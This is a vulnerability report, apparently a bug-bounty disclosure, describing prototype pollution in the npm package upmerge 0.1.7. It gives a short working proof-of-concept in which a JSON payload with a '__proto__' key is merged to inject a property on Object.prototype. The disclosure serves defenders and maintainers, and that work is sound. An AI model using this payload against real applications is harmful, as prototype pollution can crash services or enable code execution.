How it was found

Hi team, I would like to report a prototype pollution vulnerability in upmerge that allows an attacker to inject properties on Object.prototype.

Module

module name: upmerge version: 0.1.7 npm page: https://www.npmjs.com/package/upmerge

Module Description

JavaScript Object Merge and Clone for Client or Server side

Vulnerability

Vulnerability Description

this vulnerability type is similar to my report #438274 upmerge is vulnerable to prototype pollution when it merges objects.

Steps To Reproduce:

In the following code snippet, "payload" would come from user-input (JSON data).

var upmerge = require('upmerge');
var payload = '{"__proto__":{"polluted":"upmerge_done !"}}';
var test = {};
console.log("Before: ", test.polluted);
upmerge.merge({},JSON.parse(payload));
console.log("After: ", test.polluted);

# Wrap up

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

Thanks!

## Impact

It causes Denial of Service or RCE in some cases.